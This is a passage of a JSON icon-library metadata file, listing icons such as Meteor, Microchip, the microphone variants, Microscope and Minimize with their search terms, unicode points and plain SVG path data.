        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V352c0 35.3 28.7 64 64 64h96v80c0 6.1 3.4 11.6 8.8 14.3s11.9 2.1 16.8-1.5L309.3 416H448c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V352c0 35.3 28.7 64 64 64h96v80c0 6.1 3.4 11.6 8.8 14.3s11.9 2.1 16.8-1.5L309.3 416H448c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64z"
      },
      "regular": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 368c26.5 0 48 21.5 48 48v16l72.5-54.4c8.3-6.2 18.4-9.6 28.8-9.6H448c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16V352c0 8.8 7.2 16 16 16h96zm48 124l-.2 .2-5.1 3.8-17.1 12.8c-4.8 3.6-11.3 4.2-16.8 1.5s-8.8-8.2-8.8-14.3V474.7v-6.4V468v-4V416H112 64c-35.3 0-64-28.7-64-64V64C0 28.7 28.7 0 64 0H448c35.3 0 64 28.7 64 64V352c0 35.3-28.7 64-64 64H309.3L208 492z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 368c26.5 0 48 21.5 48 48v16l72.5-54.4c8.3-6.2 18.4-9.6 28.8-9.6H448c8.8 0 16-7.2 16-16V64c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16V352c0 8.8 7.2 16 16 16h96zm48 124l-.2 .2-5.1 3.8-17.1 12.8c-4.8 3.6-11.3 4.2-16.8 1.5s-8.8-8.2-8.8-14.3V474.7v-6.4V468v-4V416H112 64c-35.3 0-64-28.7-64-64V64C0 28.7 28.7 0 64 0H448c35.3 0 64 28.7 64 64V352c0 35.3-28.7 64-64 64H309.3L208 492z"
      }
    },
    "free": ["regular", "solid"]
  },
  "meta": {
    "changes": ["6.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e49b",
    "label": "Meta",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 317.9C640 409.2 600.6 466.4 529.7 466.4C467.1 466.4 433.9 431.8 372.8 329.8L341.4 277.2C333.1 264.7 326.9 253 320.2 242.2C300.1 276 273.1 325.2 273.1 325.2C206.1 441.8 168.5 466.4 116.2 466.4C43.42 466.4 0 409.1 0 320.5C0 177.5 79.78 42.4 183.9 42.4C234.1 42.4 277.7 67.08 328.7 131.9C365.8 81.8 406.8 42.4 459.3 42.4C558.4 42.4 640 168.1 640 317.9H640zM287.4 192.2C244.5 130.1 216.5 111.7 183 111.7C121.1 111.7 69.22 217.8 69.22 321.7C69.22 370.2 87.7 397.4 118.8 397.4C149 397.4 167.8 378.4 222 293.6C222 293.6 246.7 254.5 287.4 192.2V192.2zM531.2 397.4C563.4 397.4 578.1 369.9 578.1 322.5C578.1 198.3 523.8 97.08 454.9 97.08C421.7 97.08 393.8 123 360 175.1C369.4 188.9 379.1 204.1 389.3 220.5L426.8 282.9C485.5 377 500.3 397.4 531.2 397.4L531.2 397.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 317.9C640 409.2 600.6 466.4 529.7 466.4C467.1 466.4 433.9 431.8 372.8 329.8L341.4 277.2C333.1 264.7 326.9 253 320.2 242.2C300.1 276 273.1 325.2 273.1 325.2C206.1 441.8 168.5 466.4 116.2 466.4C43.42 466.4 0 409.1 0 320.5C0 177.5 79.78 42.4 183.9 42.4C234.1 42.4 277.7 67.08 328.7 131.9C365.8 81.8 406.8 42.4 459.3 42.4C558.4 42.4 640 168.1 640 317.9H640zM287.4 192.2C244.5 130.1 216.5 111.7 183 111.7C121.1 111.7 69.22 217.8 69.22 321.7C69.22 370.2 87.7 397.4 118.8 397.4C149 397.4 167.8 378.4 222 293.6C222 293.6 246.7 254.5 287.4 192.2V192.2zM531.2 397.4C563.4 397.4 578.1 369.9 578.1 322.5C578.1 198.3 523.8 97.08 454.9 97.08C421.7 97.08 393.8 123 360 175.1C369.4 188.9 379.1 204.1 389.3 220.5L426.8 282.9C485.5 377 500.3 397.4 531.2 397.4L531.2 397.4z"
      }
    },
    "free": ["brands"]
  },
  "meteor": {
    "aliases": {
      "unicodes": {
        "composite": ["2604"],
        "secondary": ["10f753"]
      }
    },
    "changes": ["5.5.0", "5.12.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["armageddon", "asteroid", "comet", "shooting star", "space"]
    },
    "styles": ["solid"],
    "unicode": "f753",
    "label": "Meteor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M493.7 .9L299.4 75.6l2.3-29.3c1-12.8-12.8-21.5-24-15.1L101.3 133.4C38.6 169.7 0 236.6 0 309C0 421.1 90.9 512 203 512c72.4 0 139.4-38.6 175.7-101.3L480.8 234.3c6.5-11.1-2.2-25-15.1-24l-29.3 2.3L511.1 18.3c.6-1.5 .9-3.2 .9-4.8C512 6 506 0 498.5 0c-1.7 0-3.3 .3-4.8 .9zM192 192a128 128 0 1 1 0 256 128 128 0 1 1 0-256zm0 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm16 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M493.7 .9L299.4 75.6l2.3-29.3c1-12.8-12.8-21.5-24-15.1L101.3 133.4C38.6 169.7 0 236.6 0 309C0 421.1 90.9 512 203 512c72.4 0 139.4-38.6 175.7-101.3L480.8 234.3c6.5-11.1-2.2-25-15.1-24l-29.3 2.3L511.1 18.3c.6-1.5 .9-3.2 .9-4.8C512 6 506 0 498.5 0c-1.7 0-3.3 .3-4.8 .9zM192 192a128 128 0 1 1 0 256 128 128 0 1 1 0-256zm0 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm16 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "microblog": {
    "changes": ["5.12.0", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e01a",
    "label": "Micro.blog",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M399.36,362.23c29.49-34.69,47.1-78.34,47.1-125.79C446.46,123.49,346.86,32,224,32S1.54,123.49,1.54,236.44,101.14,440.87,224,440.87a239.28,239.28,0,0,0,79.44-13.44,7.18,7.18,0,0,1,8.12,2.56c18.58,25.09,47.61,42.74,79.89,49.92a4.42,4.42,0,0,0,5.22-3.43,4.37,4.37,0,0,0-.85-3.62,87,87,0,0,1,3.69-110.69ZM329.52,212.4l-57.3,43.49L293,324.75a6.5,6.5,0,0,1-9.94,7.22L224,290.92,164.94,332a6.51,6.51,0,0,1-9.95-7.22l20.79-68.86-57.3-43.49a6.5,6.5,0,0,1,3.8-11.68l71.88-1.51,23.66-67.92a6.5,6.5,0,0,1,12.28,0l23.66,67.92,71.88,1.51a6.5,6.5,0,0,1,3.88,11.68Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M399.36,362.23c29.49-34.69,47.1-78.34,47.1-125.79C446.46,123.49,346.86,32,224,32S1.54,123.49,1.54,236.44,101.14,440.87,224,440.87a239.28,239.28,0,0,0,79.44-13.44,7.18,7.18,0,0,1,8.12,2.56c18.58,25.09,47.61,42.74,79.89,49.92a4.42,4.42,0,0,0,5.22-3.43,4.37,4.37,0,0,0-.85-3.62,87,87,0,0,1,3.69-110.69ZM329.52,212.4l-57.3,43.49L293,324.75a6.5,6.5,0,0,1-9.94,7.22L224,290.92,164.94,332a6.51,6.51,0,0,1-9.95-7.22l20.79-68.86-57.3-43.49a6.5,6.5,0,0,1,3.8-11.68l71.88-1.51,23.66-67.92a6.5,6.5,0,0,1,12.28,0l23.66,67.92,71.88,1.51a6.5,6.5,0,0,1,3.88,11.68Z"
      }
    },
    "free": ["brands"]
  },
  "microchip": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f2db"]
      }
    },
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cpu", "hardware", "processor", "technology"]
    },
    "styles": ["solid"],
    "unicode": "f2db",
    "label": "Microchip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64c-35.3 0-64 28.7-64 64H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H64v56H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H64v56H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H64c0 35.3 28.7 64 64 64v40c0 13.3 10.7 24 24 24s24-10.7 24-24V448h56v40c0 13.3 10.7 24 24 24s24-10.7 24-24V448h56v40c0 13.3 10.7 24 24 24s24-10.7 24-24V448c35.3 0 64-28.7 64-64h40c13.3 0 24-10.7 24-24s-10.7-24-24-24H448V280h40c13.3 0 24-10.7 24-24s-10.7-24-24-24H448V176h40c13.3 0 24-10.7 24-24s-10.7-24-24-24H448c0-35.3-28.7-64-64-64V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H280V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H176V24zM160 128H352c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32zm192 32H160V352H352V160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64c-35.3 0-64 28.7-64 64H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H64v56H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H64v56H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H64c0 35.3 28.7 64 64 64v40c0 13.3 10.7 24 24 24s24-10.7 24-24V448h56v40c0 13.3 10.7 24 24 24s24-10.7 24-24V448h56v40c0 13.3 10.7 24 24 24s24-10.7 24-24V448c35.3 0 64-28.7 64-64h40c13.3 0 24-10.7 24-24s-10.7-24-24-24H448V280h40c13.3 0 24-10.7 24-24s-10.7-24-24-24H448V176h40c13.3 0 24-10.7 24-24s-10.7-24-24-24H448c0-35.3-28.7-64-64-64V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H280V24c0-13.3-10.7-24-24-24s-24 10.7-24 24V64H176V24zM160 128H352c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32zm192 32H160V352H352V160z"
      }
    },
    "free": ["solid"]
  },
  "microphone": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f130"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "audio",
        "information",
        "podcast",
        "public",
        "record",
        "sing",
        "sound",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f130",
    "label": "Microphone",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 0C139 0 96 43 96 96V256c0 53 43 96 96 96s96-43 96-96V96c0-53-43-96-96-96zM64 216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 89.1 66.2 162.7 152 174.4V464H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H216V430.4c85.8-11.7 152-85.3 152-174.4V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 70.7-57.3 128-128 128s-128-57.3-128-128V216z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 0C139 0 96 43 96 96V256c0 53 43 96 96 96s96-43 96-96V96c0-53-43-96-96-96zM64 216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 89.1 66.2 162.7 152 174.4V464H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H216V430.4c85.8-11.7 152-85.3 152-174.4V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 70.7-57.3 128-128 128s-128-57.3-128-128V216z"
      }
    },
    "free": ["solid"]
  },
  "microphone-lines": {
    "aliases": {
      "names": ["microphone-alt"],
      "unicodes": {
        "composite": ["1f399"],
        "secondary": ["10f3c9"]
      }
    },
    "changes": ["5.0.0", "5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "mic",
        "microphone",
        "music",
        "podcast",
        "record",
        "sing",
        "sound",
        "studio",
        "studio microphone",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3c9",
    "label": "Microphone Lines",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M96 96V256c0 53 43 96 96 96s96-43 96-96H208c-8.8 0-16-7.2-16-16s7.2-16 16-16h80V192H208c-8.8 0-16-7.2-16-16s7.2-16 16-16h80V128H208c-8.8 0-16-7.2-16-16s7.2-16 16-16h80c0-53-43-96-96-96S96 43 96 96zM320 240v16c0 70.7-57.3 128-128 128s-128-57.3-128-128V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 89.1 66.2 162.7 152 174.4V464H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H216V430.4c85.8-11.7 152-85.3 152-174.4V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v24z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M96 96V256c0 53 43 96 96 96s96-43 96-96H208c-8.8 0-16-7.2-16-16s7.2-16 16-16h80V192H208c-8.8 0-16-7.2-16-16s7.2-16 16-16h80V128H208c-8.8 0-16-7.2-16-16s7.2-16 16-16h80c0-53-43-96-96-96S96 43 96 96zM320 240v16c0 70.7-57.3 128-128 128s-128-57.3-128-128V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 89.1 66.2 162.7 152 174.4V464H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H216V430.4c85.8-11.7 152-85.3 152-174.4V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v24z"
      }
    },
    "free": ["solid"]
  },
  "microphone-lines-slash": {
    "aliases": {
      "names": ["microphone-alt-slash"],
      "unicodes": {
        "secondary": ["10f539"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "disable",
        "mute",
        "podcast",
        "record",
        "sing",
        "sound",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f539",
    "label": "Microphone Lines Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L472.1 344.7c15.2-26 23.9-56.3 23.9-88.7V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v24 16c0 21.2-5.1 41.1-14.2 58.7L416 300.8V256H358.9l-34.5-27c2.9-3.1 7-5 11.6-5h80V192H336c-8.8 0-16-7.2-16-16s7.2-16 16-16h80V128H336c-8.8 0-16-7.2-16-16s7.2-16 16-16h80c0-53-43-96-96-96s-96 43-96 96v54.3L38.8 5.1zm362.5 407l-43.1-33.9C346.1 382 333.3 384 320 384c-70.7 0-128-57.3-128-128v-8.7L144.7 210c-.5 1.9-.7 3.9-.7 6v40c0 89.1 66.2 162.7 152 174.4V464H248c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V430.4c20.4-2.8 39.7-9.1 57.3-18.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L472.1 344.7c15.2-26 23.9-56.3 23.9-88.7V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v24 16c0 21.2-5.1 41.1-14.2 58.7L416 300.8V256H358.9l-34.5-27c2.9-3.1 7-5 11.6-5h80V192H336c-8.8 0-16-7.2-16-16s7.2-16 16-16h80V128H336c-8.8 0-16-7.2-16-16s7.2-16 16-16h80c0-53-43-96-96-96s-96 43-96 96v54.3L38.8 5.1zm362.5 407l-43.1-33.9C346.1 382 333.3 384 320 384c-70.7 0-128-57.3-128-128v-8.7L144.7 210c-.5 1.9-.7 3.9-.7 6v40c0 89.1 66.2 162.7 152 174.4V464H248c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V430.4c20.4-2.8 39.7-9.1 57.3-18.2z"
      }
    },
    "free": ["solid"]
  },
  "microphone-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f131"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "disable",
        "mute",
        "podcast",
        "record",
        "sing",
        "sound",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f131",
    "label": "Microphone Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L472.1 344.7c15.2-26 23.9-56.3 23.9-88.7V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 21.2-5.1 41.1-14.2 58.7L416 300.8V96c0-53-43-96-96-96s-96 43-96 96v54.3L38.8 5.1zM344 430.4c20.4-2.8 39.7-9.1 57.3-18.2l-43.1-33.9C346.1 382 333.3 384 320 384c-70.7 0-128-57.3-128-128v-8.7L144.7 210c-.5 1.9-.7 3.9-.7 6v40c0 89.1 66.2 162.7 152 174.4V464H248c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V430.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L472.1 344.7c15.2-26 23.9-56.3 23.9-88.7V216c0-13.3-10.7-24-24-24s-24 10.7-24 24v40c0 21.2-5.1 41.1-14.2 58.7L416 300.8V96c0-53-43-96-96-96s-96 43-96 96v54.3L38.8 5.1zM344 430.4c20.4-2.8 39.7-9.1 57.3-18.2l-43.1-33.9C346.1 382 333.3 384 320 384c-70.7 0-128-57.3-128-128v-8.7L144.7 210c-.5 1.9-.7 3.9-.7 6v40c0 89.1 66.2 162.7 152 174.4V464H248c-13.3 0-24 10.7-24 24s10.7 24 24 24h72 72c13.3 0 24-10.7 24-24s-10.7-24-24-24H344V430.4z"
      }
    },
    "free": ["solid"]
  },
  "microscope": {
    "aliases": {
      "unicodes": {
        "composite": ["1f52c"],
        "secondary": ["10f610"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "electron",
        "lens",
        "microscope",
        "optics",
        "science",
        "shrink",
        "testing",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f610",
    "label": "Microscope",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 32c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32c17.7 0 32 14.3 32 32V288c0 17.7-14.3 32-32 32c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32c-17.7 0-32-14.3-32-32V64c0-17.7 14.3-32 32-32zM32 448H320c70.7 0 128-57.3 128-128s-57.3-128-128-128V128c106 0 192 86 192 192c0 49.2-18.5 94-48.9 128H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm80-64H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 32c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32c17.7 0 32 14.3 32 32V288c0 17.7-14.3 32-32 32c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32c-17.7 0-32-14.3-32-32V64c0-17.7 14.3-32 32-32zM32 448H320c70.7 0 128-57.3 128-128s-57.3-128-128-128V128c106 0 192 86 192 192c0 49.2-18.5 94-48.9 128H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm80-64H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "microsoft": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ca",
    "label": "Microsoft",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32h214.6v214.6H0V32zm233.4 0H448v214.6H233.4V32zM0 265.4h214.6V480H0V265.4zm233.4 0H448V480H233.4V265.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32h214.6v214.6H0V32zm233.4 0H448v214.6H233.4V32zM0 265.4h214.6V480H0V265.4zm233.4 0H448V480H233.4V265.4z"
      }
    },
    "free": ["brands"]
  },
  "mill-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Mill Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e1ed",
    "label": "Mill Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M302.1 42.8c5.9-16.6-2.7-35-19.4-40.9s-35 2.7-40.9 19.4L208 116.1c-5.7 4-11.1 8.5-16 13.5C171.7 108.9 143.3 96 112 96c-19.5 0-37.8 5-53.7 13.7C52.5 101.4 42.9 96 32 96C14.3 96 0 110.3 0 128v80V416c0 17.7 14.3 32 32 32s32-14.3 32-32V208c0-26.5 21.5-48 48-48s48 21.5 48 48v42.5L81.9 469.2c-5.9 16.6 2.7 35 19.4 40.9s35-2.7 40.9-19.4l21.4-60C168.9 441 179.6 448 192 448c17.7 0 32-14.3 32-32V261.5l35.7-100c3.9-1 8.1-1.6 12.3-1.6c26.5 0 48 21.5 48 48V416c0 17.7 14.3 32 32 32s32-14.3 32-32V208c0-58.2-44.3-106-101.1-111.5l19.2-53.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M302.1 42.8c5.9-16.6-2.7-35-19.4-40.9s-35 2.7-40.9 19.4L208 116.1c-5.7 4-11.1 8.5-16 13.5C171.7 108.9 143.3 96 112 96c-19.5 0-37.8 5-53.7 13.7C52.5 101.4 42.9 96 32 96C14.3 96 0 110.3 0 128v80V416c0 17.7 14.3 32 32 32s32-14.3 32-32V208c0-26.5 21.5-48 48-48s48 21.5 48 48v42.5L81.9 469.2c-5.9 16.6 2.7 35 19.4 40.9s35-2.7 40.9-19.4l21.4-60C168.9 441 179.6 448 192 448c17.7 0 32-14.3 32-32V261.5l35.7-100c3.9-1 8.1-1.6 12.3-1.6c26.5 0 48 21.5 48 48V416c0 17.7 14.3 32 32 32s32-14.3 32-32V208c0-58.2-44.3-106-101.1-111.5l19.2-53.8z"
      }
    },
    "free": ["solid"]
  },
  "minimize": {
    "aliases": {
      "names": ["compress-arrows-alt"],
      "unicodes": {
        "secondary": ["10f78c"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "collapse",
        "fullscreen",
        "minimize",
        "move",
        "resize",
        "shrink",
        "smaller"
      ]
    },
    "styles": ["solid"],
    "unicode": "f78c",
    "label": "Minimize",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M456 224H312c-13.3 0-24-10.7-24-24V56c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l40 40L442.3 5.7C446 2 450.9 0 456 0s10 2 13.7 5.7l36.7 36.7C510 46 512 50.9 512 56s-2 10-5.7 13.7L433 143l40 40c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8zm0 64c9.7 0 18.5 5.8 22.2 14.8s1.7 19.3-5.2 26.2l-40 40 73.4 73.4c3.6 3.6 5.7 8.5 5.7 13.7s-2 10-5.7 13.7l-36.7 36.7C466 510 461.1 512 456 512s-10-2-13.7-5.7L369 433l-40 40c-6.9 6.9-17.2 8.9-26.2 5.2s-14.8-12.5-14.8-22.2V312c0-13.3 10.7-24 24-24H456zm-256 0c13.3 0 24 10.7 24 24V456c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-40-40L69.7 506.3C66 510 61.1 512 56 512s-10-2-13.7-5.7L5.7 469.7C2 466 0 461.1 0 456s2-10 5.7-13.7L79 369 39 329c-6.9-6.9-8.9-17.2-5.2-26.2s12.5-14.8 22.2-14.8H200zM56 224c-9.7 0-18.5-5.8-22.2-14.8s-1.7-19.3 5.2-26.2l40-40L5.7 69.7C2 66 0 61.1 0 56s2-10 5.7-13.7L42.3 5.7C46 2 50.9 0 56 0s10 2 13.7 5.7L143 79l40-40c6.9-6.9 17.2-8.9 26.2-5.2s14.8 12.5 14.8 22.2V200c0 13.3-10.7 24-24 24H56z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M456 224H312c-13.3 0-24-10.7-24-24V56c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l40 40L442.3 5.7C446 2 450.9 0 456 0s10 2 13.7 5.7l36.7 36.7C510 46 512 50.9 512 56s-2 10-5.7 13.7L433 143l40 40c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8zm0 64c9.7 0 18.5 5.8 22.2 14.8s1.7 19.3-5.2 26.2l-40 40 73.4 73.4c3.6 3.6 5.7 8.5 5.7 13.7s-2 10-5.7 13.7l-36.7 36.7C466 510 461.1 512 456 512s-10-2-13.7-5.7L369 433l-40 40c-6.9 6.9-17.2 8.9-26.2 5.2s-14.8-12.5-14.8-22.2V312c0-13.3 10.7-24 24-24H456zm-256 0c13.3 0 24 10.7 24 24V456c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-40-40L69.7 506.3C66 510 61.1 512 56 512s-10-2-13.7-5.7L5.7 469.7C2 466 0 461.1 0 456s2-10 5.7-13.7L79 369 39 329c-6.9-6.9-8.9-17.2-5.2-26.2s12.5-14.8 22.2-14.8H200zM56 224c-9.7 0-18.5-5.8-22.2-14.8s-1.7-19.3 5.2-26.2l40-40L5.7 69.7C2 66 0 61.1 0 56s2-10 5.7-13.7L42.3 5.7C46 2 50.9 0 56 0s10 2 13.7 5.7L143 79l40-40c6.9-6.9 17.2-8.9 26.2-5.2s14.8 12.5 14.8 22.2V200c0 13.3-10.7 24-24 24H56z"
      }
    },
    "free": ["solid"]
  },
  "minus": {
    "aliases": {
